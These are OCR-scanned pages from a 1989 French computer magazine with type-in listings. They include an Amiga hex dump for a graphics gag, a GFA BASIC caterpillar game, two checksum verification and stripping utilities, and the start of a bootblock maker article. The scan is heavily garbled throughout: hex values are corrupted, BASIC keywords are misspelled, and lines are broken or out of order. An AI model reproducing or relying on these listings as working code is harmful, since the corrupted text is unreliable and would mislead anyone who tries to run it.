SS SS SS ÎS SS 

02 C3 00 C3 00 
8A 22 22 00 00 
00 82 00 82 00 
00 33 22 00 00 
02 C3 82 82 82 


82 82 C3 0 

ÎSSSSSS 

8A 33 22 00 8 


2 01 00 41 00 41 ( 


8A 8A 
9F90:02 02 02 
9F98:8A BA CF 
: 02 02 02 
CF 8A CF 

“ SS Si 


8A 33 22 00 00 
02 82 82 82 82 
8A 11 00 00 00 
02 82 82 62 82 
8A 22 22 00 00 
02 41 00 41 00 
8A 22 22 00 00 
02 82 B2 C3 82 


S?ll 


A010: 
A018:03 
A020: ES 


iSÎS 


03 02 00 02 00 82 C3 82 


1 00 SA 00 3 
3 5E 00 DD 5 
1 DD 66 03 0 


6 01 DD 6E 
6 10 CD 19 
6 04 IA AE 
9 El CD 00 
8 C9 00 01 
3 01 3A 33 
? A0 21 D8 
3 0A 01 22 
L IA A0 02 
2 C3 11 34 

1 A0 02 32 

2 CD 19 A0 

8 CA 7E A0 

2 D2 CD 19 

3 00 CA 8F 
L D2 EA CD 
3 FE 00 CA 
J 21 C2 C3 

2 A0 47 21 
J 00 ED 5A 
L 01 22 A0 
1 A0 3E 10 
J FS 00 CA 

3 21 CE C3 
3 A0 FS 00 
3 A0 21 D4 
1 39 A0 FE 
3 A3 A0 21 

9 3A 3A A0 
! A0 21 F2 


DS 11 ! 

DD 5E ( 

02 DD 66 
BD F3 CS 
77 13 23 
A0 Cl 10 
01 01 11 
A0 FE 00: 
C2 11 00:1 
A0 02 3E:, 
CD 19 A0: 
98 3E 04 

18 01 IA 
3A 34 A0 
CD A3 A0 
A0 3A 35 
A0 CD A3 

19 A0 3A:. 
F2 A0 CD:! 
CD 19 A0: ' 


3E 04 02 
02 C9 3A 
D0 A0 CD 
CD 19 A0 


0 01 i 
IA A0 3E 
C9 01 22 
IA A0 3E 


C3 CD 19:08 
00 CA F2:CB 
DA C3 CD:A9 
FE 00 C8:D3 
C3 CD 19 : BE 
A0 3E 04:13 
1F 02 CD:El 
A0 3E 04:99 
10 02 CD:97 


AM IGA 


PROGRAMMATION 


C'est dans la poche 

KANGURU MEDITATION 


T itre évocateur en effet 
pour cette petite plai¬ 
santerie graphique à 
lancer sous CLI. Le court lis¬ 
ting hexadécimal est à entrer 
par notre utilitaire maison 
Amiga Saisie (reportez-vous à 


00001:0000 03F3 0000 0000 
00002:0000 0001 0000 0025 
00003:0000 0025 2C79 0000 


Y-a une faute dans le titre! 
Mais non , c'est un gag... 


son mode d'emploi). Longueur 
en octets à spécifier: 244. 

Nicolas Foumel 


0000 0002 0000 0000 :03F5 
0000- 0001 0000 03E9: 0410 
0004 43F9 0000 007C:7117 


00004:4EAE FE68 23C0 0000 
00005:23E8 0038 0000 0074 
00006:0000 0015 2C79 0000 
00007:2030 0000 0000 2203 
00008:FFEA 4483 243C 0000 
00009:F016 66D6 2C79 0000 
00010:4EAE FE62 4280 4E75 
00011:696E 7475 6974 696F 
00012:7900 00B0 4E95 7200 
00013:0000 0000 0000 0008 
00014:0000 0020 0000 0032 
00015:0000 0000 0000 03F2 
00016:0000 03F2 0000 0000 


0078 2079 
263C 0000 
0078 2079 
4EAE FF5E 
0015 0839 
0004 2279 
0000 0000 
6E2E 6C69 
0000 03EC 
0000 0012 
0000 0038 
0000 03EB 
0005 BD58 


0000 0078:923F 
0000 243C:6F0C 
0000 0074:4DF3 
5283 51CA:3498 
000A 00DF:71E0 
0000 0078 :A65A 
0000 0000:DE05 
6272 6172:4F41 
0000 0007:3E38 
0000 0018:0032 
0000 0068:00F2 
0000 0001 ;07DE 
0000 79B8:3B07 
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PROGRAMMATION 

M vient à point... 

CHENILLE 


C e jeu réalisé en GFA 3 
propose en effet une ori¬ 
ginalité. La chenille 
grandit vite, trop vite, et rac¬ 
courcit progressivement lors¬ 
qu'elle est à l'arrêt. Mais alors 
c'est facile! Contentons-nous 
d'attendre suffisamment avant 
de poursuivre le parcours! 
N'en croyez rien, le temps est 
judicieusement limité et la dif¬ 


2 ’ CHENILLE 

3 ' Auteur: DEVOIX Patrick 


6 ' 

7 HIDEM 

8 ON BREAX GOSÜB fln_jeu 

9 ON EEE GOSÜB lin jeu 
10 ' 

11 DEFBTT "a,x,y,r,p" 

12 DIM a$(5),scoreX(6),n«n$(6) 

13 «top high score 

14 bl acoreX=50000 

15 degreX=2 

16 1 



19 •init_couleura 


2 CLE scoreX,tempaX, conrpteurX 

3 tableau%=l 

4 vieX=3 


30 continue : 


CLE nbre_pointsX 
Saffiehage_texte 


37 PDI coord_xl.coord yl,s$Cl) 

38 xJ=CHR$(coord x|) 

39 y$=CHR$(coord yl) 

40 SETCOLOE 15,1?04 

41 

42 WHILE PEEE(4HFFFC02)<1 OE PI 
(&HFFFC02)>B 

43 HEND 

45 EEPEAX 

46 

47 début: 

48 

49 x=ASCCxJ) 

50 y=ASCCy$) 

51 POT x.y.sjd) 


Encore une chenille, certes, mais pas tout 
à fait ordinaire... 


ficulté croissante... 

Ne soyez pas surpris de l'ap¬ 
parence de ce listing faisant 
appel au vérificateur GFA 
V.1.0 (reportez-vous à son 
mode d'emploi). Les lecteurs 
infaillibles peuvent cependant 
taper normalement les lignes 
sans tenir compte des numéros 
et des sommes de contrôle. 

Patrick Urvoix 



PAUSE degreX 


SELECT tou 

CASE 196 I f 10 

SGET tahleauï 
TEXT 86.95,0,"P A 0 S E" 


«attenta 

EEPEAT 

tou=INP(2) 

DNTIL tou=32 

•attente 
SPOT tableauS 
CASE 27 
•test fin 
ENDSELECT 
ENDIF 

a=PEEE(&HFFFC0 2) 

SELECT a 
CASE 1 
r=l 

p=PTST(x+4,y-6) 

CASE 2 
r=2 

p=PTST(x+4,y+14) 

CASE 4,5.6 
r=3 

p=PTST(x-5,y+4) 

CASE 8,9,10 
r=4 

p=PTST(x+14,y+4) 

DEFAULT 

GOTO conmence effacer 
ENDSELECT 

' teat» du point ’P' 


SELECT p 
CASE 0 
•coord 

GOTO conmence effacer 
CASE 3 

ADD scoreX,2 
INC nbre pointsX 
IF acoreX>=10000 AND viel 
INC vleX 
vlel=FALSE 
•affichage vies 
ENDIF 


@mu3lque_points 
PEINT ATT34,20): 

PEINT RIGHT$("000000' , +STR$ 
(acoreX).6) 

•coord 
GOTO allonge 
CASE 9 

GOTO début 
CASE 2 
GOTO mort 
ENDSELECT 

allonge : 

IF allongel=FALSE 
e$=LEFT$Cx$,2) 
x$=a$+x$ 
a$=LEFT$(y*,2) 
yî=aî+y$ 

ELSB 

a$=LEFT$(x$,2) 
x$=a$+a$+x$ 
a$=LEFT$(y$,2) 

yj=a$+ai+y$ 

ENDIF 


139 


y$=CHRS(y)*yî 
x=ASC(RIGHT$(x$,l>> 
y=ASC(RIGHT$(y$,l)> 
xÆ=LEFT$(xî,LEN(xî)-1) 
yî=LEFT$(y$,LEN(yS)-1> 
POT x,y.e$C3) 


141 DNTIL tempsX<=0 OR nbre_polnt 
X=pta placeaX 

142 IF tempaX<=0 

143 GOTO mort 

144 ELSE 

145 •tableau_aulvant 

146 ENDIF 

147 LOOP 

149 mort: 


152 FOR p=l TO 8 

153 SOUND 1,14,p,s,1 

154 NEXT p 

155 NEXT a 

156 SOUND 1.0.0.0 
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PROGRAMMATION 


B DEC vieX 
9 IF vleX>0 
3 SGET destroyedî 
L TEXT 86,95,0, "DESTROYEO" 

2 PAUSE 80 

3 SPUT destroyedS 

5 DEC~compteurX 

6 PAUSE 60 

7 GOTO continue 


176 PROCEDDRE coord 

177 

178 x=x-<r=4)«10+Cr=3)‘ 

179 y=y-(r=2)*10+(r=l)* 

180 RETURN 

181 ' 

182 PROCEDURE attente 

183 WHILE INP7C2) 

184 tou=INPC2) 

185 WEND 

186 RETUEN 


188 PROCEDURE temps 


1 Al(36,8); 

2 PEINT RIGHTS(”0000"+STKÏ(temps 
X) ,41 

3 RETURN 


5 PROCEDURE muslque_polnt 


201 PROCEDURE affichage texte 

202 

203 ©couleur te*te(15,16,0,13) 

204 TEXT 270,40,"TIME" 

205 TEXT 270,90,"LEVEL" 

206 TEXT 270,140, "SCORE" 

207 ©interleur tableau 

208 

209 ©affichage vies 

210 COLOR 12 “ 

211 BOX 274.52.314.66 

212 PRINT AT(36,8); 

213 PRINT ÜSING "####", tempsX 

214 BOX 290,100,314,115 

215 PRINT ATC38.14); 

216 PRINT RIGHT$C0"+STR$(tableau 

) ,2) 

217 BOX 261,148.314,162 

218 PRINT AT(34.20); 

219 PRINT RIGHT$("000000"+STRÎ(sc 
reX),6) 

220 TEXT 70,195,"HI-SCORE: u 

221 TEXT 170,195.hl scoreX 

222 REIURN 

223 ' 

224 PROCEDURE affichage vies 


6 FOR ppX=l TO vJ 

7 PUT ppX*10,lf 
B NEXT ppX 

9 RETURN 


236 PROCEDURE Interleur tableau 

237 ' ’ 

238 INC compteurX 

239 IF compteurX>12 

240 compteurXsl 

241 ENDIF 

242 ON compteurX GOSUB tl,t2.t3,t4 
,t5,t6.t7,t8,t9,tl0,tll,tl2 


244 READ coord_xl,coord_yl,pts_pla 
cesX,tempsX 

245 

246 IF tableauX>12 AND tableauX<=2 
0 

247 SUB tempsX.200 

248 ENDIF 

249 

250 IF tableauX>20 AND tableauX<=3 


254 IF tableauX>30 AND tableauX<=4 
0 

255 SUB tempsX,200 

256 allonge(=TRUE 

257 ENDIF 

258 

259 IF tableauX>40 AND tableauX<=5 


264 IF tableauX>50 

265 SUB tempsX,500 

266 allongel=TRÜE 

267 DEC degreX 

268 ENDIF 

269 IF degreX<0 

270 degreX=0 

271 ENDIF 

272 

273 FOR 11=0 TO 116 

274 READ r 

275 x=(ll MOD 13)*10 

276 y=INT(i|/13)*10 

277 PUT x.y,s$(r) 

278 PUT 250-x,y,s$(r) 

279 PUT x,170-y,s$(r) 

280 PUT 250-r,170-y,s$Cr) 

281 NEXT 11 

282 RETURN 

283 ' 

284 PROCEDURE tl 


... . ..E tableaul 

287 tableaul •. 

288 DATA 120,120,227,2200 

289 DATA 0,0,0,0,0,0,0,0,0,0,0,0,0 

290 DATA 0.2.2,2,2,2,2.2.2,2,2.2,2 

291 DATA 0.2,0,0,0,0.0,0,0,0,2,0,0 

292 DATA 0,2,0.2.2.2,2,2.2,2,2,2,2 

293 DATA 0,2.0,2,0,0.0,0,0,2,0,0.0 

294 DATA 0.2,0.2.0.2.2.2,2.2,2.2.2 

295 DATA 0,2,2,2,0,2.0,0,0,0,2 ,0.0 

296 DATA 0,2,0,2.0,2.0,2,2,2,2.2,2 

297 DATA 0,2,0,2,0,2,0,2,0,0,2,0,0 

298 RETURN 

299 ' 

300 PROCEDURE t2 

301 

302 RESTORE tableau2 

303 tableau2: 

304 DATA 120.110,227,2300 

305 DATA 0,0,0,0,0.0,0.0,0,0,0.0,0 

306 DATA 0.2,2,2,2.2.2.2,2.2,2,2.2 

307 DATA 0,2,0,0,0.0,0,0,0,2,0,0,0 

308 DATA 0,2,2,2,0.0.2,2,0,2,0.2,2 

309 DATA 0,2,0,2,2,2,2,2,2.2,2,2,0 

310 DATA 0.2,0,0,0.0.0.0.0.2,0.0.0 

311 DATA 0,2,2,2,2,2,2,2,2,2,2,2,2 

312 DATA 0,0,0,2,0.0,0.2,0.2.0,0,2 

313 DATA 3,3,0,2,2,0.2.2,0,2,2.0.2 

314 RETURN 

315 ' 

316 PROCEDDRE t3 

317 

318 RESTORE tablesu3 

319 tableeuî: 

320 DATA 120,100,223,2300 

321 DATA 0.0.0,0,0,0,0,0.0,0,0,0,0 

322 DATA 0,2,2,2,2,2,2,2,2.2,2,2.2 

323 DATA 0.2.0.0,0,0,0,2.0,0,0.0,0 

324 DATA 0.2,2.2,0.2,2,2,2,2.0.2,2 

325 DATA 0,0,0,2,0.2,0,0,0,2,2,2,0 

326 DATA 0,2,2.2,0,2,2,2,2,2,0,2,2 

327 DATA 0.2,0,0,0,0,0,2,0,0,0,0,0 

328 DATA 0,2.2,2,0,2,2,2.2,2,0,2,2 

329 DATA 3,0,0,2,0.2,0,0,0,2.2,2,0 


332 PROCEDURE t4 

334 RESTORE tablesu4 

335 tableau4: 

336 DATA 120,100,203.2300 

337 DATA 0,0,0,0,0,0,0,0,0,0,0.0,3 

338 DATA 0,2,2,2,2.2,2,2,2.2.2,0,3 

339 DATA 0.2,0.0,2,0,0,0.0,0,2.0.0 

340 DATA 0,2,0,2,2,2,2,2,2,2,2,2,2 

341 DATA 0,2,0,2,0,0,2,0,0,0,0,0,0 

342 DATA 0.2.2.2,0.0,2,2,2,0,0.2,2 

343 DATA 0,2,0,0,3,3.0,0,2,0,0,2,0 

344 DATA 0,2.2,2.0,0,2,2,2.2.2,2,2 

345 DATA 3,0.0,2,0,0,2,0,0,0,2,0.0 

346 RETURN 

347 ' 

348 PROCEDURE t5 

349 

350 RESTORE tableau5 

351 tableauS: 

352 DATA 120,100,231,2500 

353 DATA 0,0,0,0,0,0.0,0,0,0,0.0,0 


DATA 0.2,2,2.2.2,2,2.2,2.2.2,0 
DATA 0,2,0,2,0,0.0,2,0,0,0,2,2 
DATA 0,2,2,2,2.0.2,2.2.0.2.2.0 
DATA 0,0,0.0,2.0.2.0,2,0,2,0.3 
DATA 0,2,2,2,2,0,2,2,2,0,2,2,0 
DATA 0,2,0,2,0,0,0.2.0,0,0,2,0 
DATA 0.2.0,2,2,2,2,2,2,2,2.2.2 
DATA 0,2,0.0,2,2,0,0,0,2,2.0.0 


362 RETURN 

363 ' 

364 PROCEDURE t 


RESTORE tebleau6 
tableau6: 

DATA 120,100.243.2300 
DATA 0,0,0,0,0,0,0,0,0,0,0,0,0 
DATA 0.2.2,2.2,2.2,2,2.2.2,2.2 
DATA 0,2,0,0,0,0,2,0,0,0.2,0,0 
DATA 0,2,0,2,2,0.2,2,0,2,2,0,2 
DATA 0,2,2,2,2,2,2,2,0,2,2.2,2 
DATA 0,2,0,2,2,0,2,2,0,2,2,2,0 
DATA 0,2,0,0,0,0,2,0,0,0,2,0,0 
DATA 0,2,2,2.2,2,2,2,2.2,2.2,2 
DATA 0,2,0,0,2.0.0.0,2,0.0,0,2 


380 PROCEDURE t7 

381 

382 RESTORE t«bleau7 

383 tableau7: 

384 DATA 120,90,267,2000 

385 DATA 0.0,0.0.0.0.0.0,0.0.0,0.0 

386 DATA 0,2,2,2.2,2,2,2,2,2,2,2,2 

387 DATA 0.2,0,2.2,0,2,2,0.2,2,0,2 

388 DATA 0,2,0,2,2,0,2,2,0,2,2,0,2 

389 DATA 0.2,0,2,2.0.2,2.0.2,2,0.2 

390 DATA 0,2,0,2,2,0.2.2,0,2,2,0.2 

391 DATA 0,2,2,0,0,2,2,2,2,0,0,2.2 

392 DATA 0,0.2,2,2,2,0.0,2,2,2,2,0 

393 DATA 3,0,2,0,0,2,2,2,2,0,0,2,2 


396 PROCEDURE t8 

397 

398 RESTORE tableauB 

399 tableauB: 

400 DATA 120,90.263.2200 

401 DATA 0,0,0,0,0,0.0,0,0,0,0,0,0 

402 DATA 0.2,2.2,2,2.2.2,2,2.2,2.2 

403 DATA 0.2,0,0,0,2,2,2.2,0,0,0,2 

404 DATA 0.2,2.0.2,2,0,0,2,2.0.2.2 

405 DATA 0,2,2,0,2,2,2,2.2,2,0.2,2 

406 DATA 0,2,0,0,0,2.0,0,2,0,0,0,2 

407 DATA 0,2,2.0,2,2,2,2,2,2,0.2,2 

408 DATA 0.0,2,2,2.2.0,0,2,2.2.2.0 

409 DATA 0.2,2,0,0,2,2,2.2,0.0,2.2 

410 RETURN 

411 ' 

412 PROCEDURE t9 

413 

414 RESTORE tableau9 

415 tableau9: 

416 DATA 120,90,239.2000 

417 DATA 0,0,0,0,0,0.0,0,0,0,0,0,0 

418 DATA 0,2,2.2,2,2.2.2.2.2,2,2.2 

419 DATA 0,2,0,0,0,0,0,0,0.0.0,0,2 

420 DATA 0.2.2.2.2.2.0.0,2,2.2.2,2 

421 DATA 0.2,2,0,0,2.2,2,2,0.0,0,0 

422 DATA 0,2,2,2.2,2,0,0,2,2.2,2,2 

423 DATA 0,2,0,0,0,0,3,3.0,0,0,0,2 

424 DATA 0,2,2,2,2,2,0,0,2,2,2,2,2 

425 DATA 0.2,0.0.2.2.2.2,2,2,0,0,2 

426 RETURN 

427 ' 

428 PROCEDURE tl0 

429 RESTORE tableaul0 

430 tebleeul0: 

431 DATA 120.90.263,2400 

432 DATA 0.0.0.0.0.0.0.0.0.0.0,0,0 

433 DATA 0,2.2.2,2,2,2.2.2.2.2,2,2 

434 DATA 0,2,0,2,0,2.0,2,0,2,0,2,0 

435 DATA 0.2.2.2.2,2.2.2,2,2.0,2,2 

436 DATA 0,2,0,0,0,2,0,0,0,2,0,0.0 

437 DATA 0.2.2,2.2.2.2.2.2,2,2.2.2 

438 DATA 0.2,2.0,2,2.2,0.2.3,2,0,2 

439 DATA 0,2,0,0,0,2,0.0.0.2,0.0.0 

440 DATA 0.2.2,0.2.2.2,0,2,2.2.2.2 


3 PROCEDURE tll 

4 RESTORE tableaul1 

5 tableaull: 

5 DATA 120,100,247,2300 
7 DATA 0.0,0.0,0,0.0.0.0,0,0,0.0 
B DATA 0,2,2,2.2,2,2,2,2,2,2.2,2 
9 DATA 0,2,0,2,2,0.0,0,2,2,0,0,0 
0 DATA 0,2, 2,2. 0,0.2,2.2,0,2,2,2 

1 DATA 0,2,0,0,0,2,2,2,0,0,2,0,2 

2 DATA 0.2,2.2,2,2.0.0.0.2,2,0.2 

3 DATA 0,2,0,0,0,0.0,2,2,2,0,0.2 

4 DATA 0.2, 2. 2.2,2,2,2.0,0,0,3,2 

5 DATA 0.2,0,0,2,2.2,0.2,2.2.2.0 

6 RETURN 











































































































458 PROCEDURE tl2 

459 RESTORE tableaul2 

460 tableaul2; 

461 DATA 120.100,239,2300 

462 DATA 0,0,0,0,0,0,0,0,0,0,0,0,0 

463 DATA 0,2.2,2,2,2.2,2,2,2,2,2,2 

464 DATA 0,2,0,2,0,2,0,0,2,0,2,0,2 

465 DATA 0,2,0,2,0,2.2,2,2,0,2,0,2 

466 DATA 0,2,0,2,0,0,0,0,0,0,2,0,0 

467 DATA 0,2.0,2,2,2,2,2,2,2,2,0,2 

468 DATA 0,2,0,0,0,0,0,0,0,0,0,0,2 
46? DATA 0.2.2,0.2.2.2,2,2,2.0,2,2 

470 DATA 0.2,2,2.2.2.0.0.2.2.2,2,0 

471 RETURN 

472 ' 

473 PROCEDURE tableau suivant 

474 

475 TEXT 86,95.0,"S U P E R" 

476 PAUSE 100 

477 ADD scoreX,tempsX+Cpts_placesX 
*C5-degreX)) 

478 IF scoreX»hi_scoreX 

479 hl scoreX=scoreX 


4 PROCEDURE pr< 



40,145]"Fl: GAME 
40.195,"ESC: FIN 


__.17,0,13) 

100', 170, ”F3 : OPTION" 
,eur texte(12,0,0,13) 
40,75,"HAUT 
40,100,"BAS -" 


tou=INPC2) 

EXIT IF tou=187 
1 test touche fl: Jet 
SELECT tou 
CASE 27 
SGET tabS 
SETCOLOR 15,1366 


I test touche 12: hlgh scor< 

SGET tableau en attentes 
©aff hlgh score 
SPUT - tableau en attentes 
CASE 189 

1 test touche f3: option 
SGET tableau_en_attente$ 
©option 

DEFAULT “ - 


521 ©attente 

522 LOOP 

523 RETURN 

524 ' 

525 I 

526 

527 ©couleur texteC13,17,0.32) 

528 TEXT 80,35,"CHENILLE" 

52? ©couleur texteCll.0,0,4) 

530 TEXT 17,34,"URVOIX" 

531 TEXT 252,24."URVOIX" 

532 RETURN 

533 1 

534 PROCEDURE aff_hlgh_score 


FOR 1X=5 TO 1 STEP -1 
FOR JX=6 TO IXtl STEP -1 
IF scoreXClX)<scoreXC JX) 
zX=scoreXClX) 
z$=nom$CIX) 

ELSE 

GOTO suivant 
ENDIF 

scoreXClX)=scoreXC JX) 
nomSClX)=nom$CJX) 
scoreXCJX)=zX 


3 ©couleur texteC8,17,0,32) 

4 TEXT 55,71,"HIGH-SCORES" 

5 ©couleur texteCll.0,0,4) 

6 TEXT 10,32,“URVOIX" 

7 TEXT 261,22,"URVOIX" 

B FOR 1X=1 TO 5 

9 DEFIEXT B+1X, 17,0,13 

0 TEXT 55,48+CiX*20),iX 

1 TEXT 93,48+CIX*20),UPPER$Cno 

œSClX)) 

2 TEXT 205,48+ClX*20),scoreXC1 

3 NEXT IX 

4 ©couleur tezteC14,16,0,13) 

5 TEXT 110,190, "»SPACE«“ 


568 RETURN 

569 1 

570 PROCEDURE option 


©couleur texteC14,17,0,13) 

TEXT 20.T70, "Use: 4 and * 

Fin: SPACE" 

DO 

©couleur texteC3.17,0.13) 
TEXT 98,T30,"0 12345" 
DEFTEXT 11,17,0,13 
TEXT 98+CdegreX*20),130,degr 


CASE 205 
INC degreX 
CASE 203 
DEC degreX 
ENDSELECT 
IF degreX<0 
degreX=0 
ELSE 

IF degreX»5 
degreX=5 
ENDIF 
ENDIF 

EXIT IF tou=32 
ENDIF 

©couleur texteC3,17,0,13) 
TEXT 98,T30,"0 12345" 
©couleur texte Cil,17,0.13) 
TEXT 98+TdegreX*20), 130,degr 


607 PROCEDURE top hlgh score 

608 ' 

609 RESTORE top score 

610 FOR 1X=1 TO — 5 

611 RSAD scoreXClX).nomSClX) 

612 NEXT IX 

613 top score: 

614 DATÏ 50000,URVOIX.P,40000,HERC 
ULE, 30000,BRUCE 

615 DATA 20000,ROCtï, 10000,VISION 

616 RETURN 

617 ' 

618 PROCEDURE inlt_sprltes 

620 RESTORE d atas 

621 FOR 1X=0 K) 3 

622 s$ CIX) =MXIS C 9 ) 4-MKIS C 9 ) +MKIS C 

623 FOR JX=0 TO 9 

624 READ matrlceX 

625 FOR k%=0 TO 3 

626 IF CC1X+1) AND C2"kX)) 

627 s$CiX)=s$CiX)+Mri$Cmat 
rlceX) 

628 ELSE 

629 s$ClX)=s$ClX)+Mri$C0) 

630 ENDIF 

631 NEXT kX 

632 NEXT jX 

633 NEXT IX 


7 DATA 32640,48960,57024,57792,6 
0864 

S DATA 60864,57792,57024,48960,3 
2640 

7 ' chenille 

2 DATA 7680.14592,30848,64576,65 
472 

L DATA 65472,65472,32704,16256,7 
936 

2 ' points 


3 DATA 0,0,3072,4608,11520 

4 DATA 11520,4608,3072,0,0 

5 ' efface-chenille 

6 DATA 0,0,0,0,0 

7 DATA 0,0,0.0,0 
B RETURN 


650 PROCEDURE 1 


c couleurs 


RESTORE palette 
FOR 1X=0 TO 15 
READ cX 
SETCOLOR IX,cX 
NEXT IX 


660 DATA 0,7,96,1904,0 

661 DATA 1792,0,1799,1365,119 

662 DATA 1904,1367,1792,1799,1799, 

0 

663 RETURN 

665 ' 

666 PROCEDURE Je meurs 

667 

668 FOR pX=l IO LENCxS) 

669 x%=ASCCRIGHTSCx$ , pX) ) 

670 yX=ASCCRIGHTSCyS.pX)) 

671 PUT xX. y*, sS C 3 ) 

672 PAUSE 0.5 

673 NEXT pX 

674 RETURN 

675 ' 

676 PROCEDURE test hl score 


oreX»scoreXC 5) 


685 ENDIF 


688 PROCEDURE e 


TEXT 30,30."WINNER... " 

TEXT 230,30,“PTS." 
@couleur_texte Cil.16,0,13) 
TEXT 160,30,score* 

©couleur texteC10,16,0,13) 
TEXT 30,70, "Enter your name 
;eC12.16,0.13) 


CLR uX.ooS 
TEXT 70,118," 

©couleur texte(14,16,0,13) 

DO 

REPEAT 

kS=INEEY$ 

UNTIL LENOcS) 

IF kS=CHR$ C 8 ) 

CLR w*,oo$,kS 

TEXT 70,118,"_" 

TEXT 70,110," 

GOTO autre 
ENDIF 

TEXT 70+CwX*10),118," “ 

TEXT 70+CwX*10).U0.UPPERSCk 

$) 

INC wX 

EXIT IF k$=CHR$C13) OR w%>8 
oo$=oo$+kS 


724 PROCEDURE fin Jeu 

725 

726 SETCOLOR 0.7,7,7 

727 SETCOLOR 3,0,0,0 

728 SETCOLOR 15,0 

729 SHOWM 

730 EDIT 

731 RETURN 

733 PROCEDURE test_fln 

734 

735 SETCOLOR 3,1904 

736 ALERT 2,”l DESIREZ-VOUS I VR 

AIMENT I ARRETER?" ,2, "OUIINON" 

,rspX 

737 IF repX=l 

738 ©fin Jeu 

739 ENDIF 

740 RETURN 
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SX 


PROGRAMMATION 

LISTING 


Tapez fort et juste 

VERIFICATEUR V. 1.0 GFA 


Qui peut se targuer d'une saisie exempte 
d'erreurs? La machine implacable de 
précision (quoique) aime à se gausser de 
nos étourderies. Ce vérificateur vous 
épargnera désormais bien des 
humiliations. 


y érificateur V.1.0 est parti¬ 
culièrement simple d'em¬ 
ploi et concerne les pro¬ 
grammes figurant dans nos 
colonnes sous la forme: 
numéro de ligne, blabla GFA, 
point d'exclamation, somme 
de contrôle (checksum) 
Comment procéder? Tout 
d'abord, il est impératif que 
vous soyez en «Deflist 0». 
Pour ce faire, pressez ESC 
(passage en mode direct), puis 
tapez «Deflist 0» [return], 
«ED» [return]. Tapez normale¬ 
ment votre programme sans 
les numéros de lignes (repères 
utiles pour les corrections). A 
la fin de chacune d'entre-elles, 
ajoutez un espace, un point 
d'exclamation et la somme de 
contrôle exprimée en hexadé¬ 


cimal sur deux caractères (ne 
tenez pas compte de notre ali¬ 
gnement réalisé par souci d'es¬ 
thétique). 

N.B. D'aucuns pesteront contre 
ces quelques signes supplé¬ 
mentaires à taper, prix à payer 
pour l'obtention d'un listing 
épuré de tout bug. Qu'ils 
sachent que la procédure est 
facultative et que l'on peut s'en 
dispenser (auquel cas, lesdits 


caractères ne devront pas être 
tapés). 

En fin de saisie et après sauve¬ 
garde ASCII du programme 
(qui par convention, devra 
comporter l'extension 
«.CHK»), passez-le au vérifica¬ 
teur VERIF.BAS (premier lis¬ 
ting) qui comparera chaque 
somme de contrôle tapée avec 
celle calculée. Les lignes erro¬ 
nées vous seront alors préci¬ 


sées (la prise en compte des 
inversions de lettres pulvérise 
tout risque d'erreur). 
Important! Rappelons que les 
quatre derniers caractères de 
chaque ligne doivent être res¬ 
pectivement un espace, un "!" 
et les deux caractères de 
contrôle, sous peine d'erreurs 
dans vos lignes. 

Le second programme nommé 
VIREREM.BAS permet d'ôter 
tous ces caractères supplémen¬ 
taires de votre programme afin 
de rendre celui-ci exploitable. 
Ne tentez pas de lancer un 
programme avec ses check- 
sums, sans quoi, il pourrait 
vous en cuire (le GFA déteste 
les Rem après les data). 

Sined 


■ indique l’endroit où 
vous devez frapper Return. 


Vérificateur V 1.0» 
Micro Mag 1989» 

While True» 

Closew 1» 

Fullw 1» 

Titlew 1." Vérificateur V 1.0 

Openw 1» 

File=False» 

While Not File» 

Fileselect "*.chk"."",F$» 

If Right$(F$)="\" Or F$=""» 
@Fin» 

Else» 

If Exist(F$)» 

File=True» 

Endif» 

Endif» 

Wend» 

Cls» 

Open "i".#l,F$. 

While Not Eof(#l). 

Line Input #1,L$» 

P=Len(L$). 


While Mid$(L$.P,l)<>" "» 

Dec P» 

Wend» 

V$=Left$(L$,P-l). 
V=Val("&"+Right$(L$,2))• 

C=0» 

For 1=1 To Len(V$)» 

C=C+Asc(Mid$(V$.I,1))*I» 

If C>255» 

C=1+(C Mod 256). 

If C>255» 

C=l+C-256» 

Endif» 

Endif» 

Next I» 

Inc L» 

If VoC» 

Print Chr$(7):" Erreur lig 
ne : ";L:" => ";L$. 

E=True« 

Else» 

Print " Ligne ":L;" Ok I": 
Chr$(13): » 

Endif» 

Wend» 

Close» 

If Not E» 

Alert 2,"IFin du listing I S 
ans erreur ! I Bravo... ",1. 
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" Super ",A» 

El se» 

Alert 3," I Faudrait voir à I 
corriger les I erreurs ! ". 
1,” Prout I ",A» 

Endif. 

©Fin» 

Wend» 

Procedure Fin» 

Alert 2,"l Désirez-vous sortir 
? I My dear ",2," Bof 

! I NON I I Si 1",A» 

If A=l» 

Alert 3,"I Faudrait savoir 1 
I J'insiste... ",1,” Oui I No 
n " ,B* 

If B=1■ 

End» 

Endif• 

Endif. 

If A=3» 

End» 

Endif» 

Eeturn» 


’ » indique 1’endroit où . 

' vous devez frapper Eeturn. 


Destructeur de Checksum 

V 1.0» 

Micro Mag 1989. 

While True» 

Closew 1» 

Fullw 1» 

Titlew 1." Destructeur de Chec 
ksum V 1.0 "■ 

Openw 1» 

File=False» 

While Not File» 

Fileselect "*.chk"."",F$» 

If Eight$(F$)="\" Or F$=""» 
@Fin» 

Else» 

If Exist(F$>» 

File=True« 

Endif• 

Endif» 

Wend» 

L=Len(F$)■ 

While Mid$(F$.L.1)<>"\"» 

Dec L» 

Wend» 

S$=F$. 

Mid$(S$,Len(S$)-3.4)=".LST". 
Cls» 

Open "i",#l.F$« 

Open "o",#2,S$» 

L=Lof(#1)» 

V=0» 

While Not Eof(#l). 


Line Input #1.L$» 

P~Len(L$)- 

While Mid$(L$,P.1)<>" "» 

Dec P» 

Wend» 

L$=Left$(L$,P-l)» 

Print #2,L$» 

V=V+Len(L$)■ 

Print At(10,10);Int(V/L*100) 
:"% de nettoyé."» 

Wend» 

Print At(10.10):"C'est fini 

Close» 

@Fin» 

Wend» 

Procedure Fin» 

Alert 2."I Désirez-vous sortir 
? I My dear ".2." Bof 

! I NON I I Si I".A» 

If A=l» 

Alert 3,"I Faudrait savoir ! 

I J'insiste... ".1." Oui | No 
n " ,B» 

If B=l» 

End» 

Endif» 

Endif» 

If A=3» 

End» 

Endif• 

Eeturn» 






AMIGA 


PROGRAMMATION 

Ne boudez pas les bleus 

BOOTBLOCK MAKER V.2 


C et utilitaire permet en 
effet la création d'un 
bootblock nanti d'une 
petite intro graphique (scrol- 
ling de dégradés de bleu). Les 
indications nécessaires sont 
incluses. Le listing de code 


Micro-Mag tt°3 offrait un listing source 
en Assembleur 68000 destiné à la 
création d'un bootblock. Tant pis pour 
les non-possesseurs de Devpac (ou 
autres)! Stéphane Rodriguez, en bon 
démocrate, propose une version 
améliorée utilisable par tous... 


hexadécimaux et à entrer par 
